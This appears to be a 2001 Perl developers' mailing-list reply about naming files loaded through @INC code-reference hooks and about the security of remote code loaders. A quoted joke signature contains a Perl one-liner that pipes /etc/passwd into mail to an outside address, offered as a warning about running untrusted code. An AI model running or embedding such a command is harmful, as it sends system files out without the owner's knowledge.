On Wed, Aug 29, 2001 at 11:44:37PM +0200, Rafael Garcia-Suarez wrote:
> On 2001.08.29 12:14 Nicholas Clark wrote:
> //loader/ is still a valid Unix path.
> I suggest "&(0x81095c8)/relative/path/to/file".
>
> Note that this has the advantage of not being an absolute pathname
> (as the PERL_FILE_IS_ABSOLUTE macro defines it).
>
> If pp_require is patched to drop &(0x81095c8)/ from the beginning
> of a relative pathname, this has the side-effect of fixing the problem
> reported by Gisle. (I call this a side-effect, not a plain fix, because
> this would trigger walking through @INC, and not directly re-invoking the
> hook corresponding to the 0x81095c8 address).
Although as 0x81095c8 corresponds to the address in @INC, there's nothing
stopping the &(0x81095c8) stripper actually extracting the 0x81095c8 from
it, and walking @INC to find a reference with that address. And if it finds
one calling that reference.
[Not quite sure what to do if it does not. Presumably this corresponds to
@INC being modified between initial loading and later loading.
Does it fail? Or does it then carry on into a second @INC pass presenting
the stripped filename to all in @INC?]
> [...]
> > The idea of a remote-loader that pulls binaries from somewhere seems scary.
> > [I'm envisaging something that pulls the .so to a temporary file and then
> > dl_open()s that. Or whatever for your OS]
> > However, I'm not sure security why it's any less scary than "pure perl"
> > considering that someone wrote a perl 1.5 liner in perl that triggered
> > the Pentium f00f bug. If someone mails you a JAPH in a .sig, do you run it?
> --
> #!/usr/local/bin/perl
> system('cat /etc/passwd | mail -s hmmm rgarciasuarez@free.fr');
> print "Just another Perl hacker,\n";
ROTFL
Nicholas Clark
Thread Previous
|
Thread Next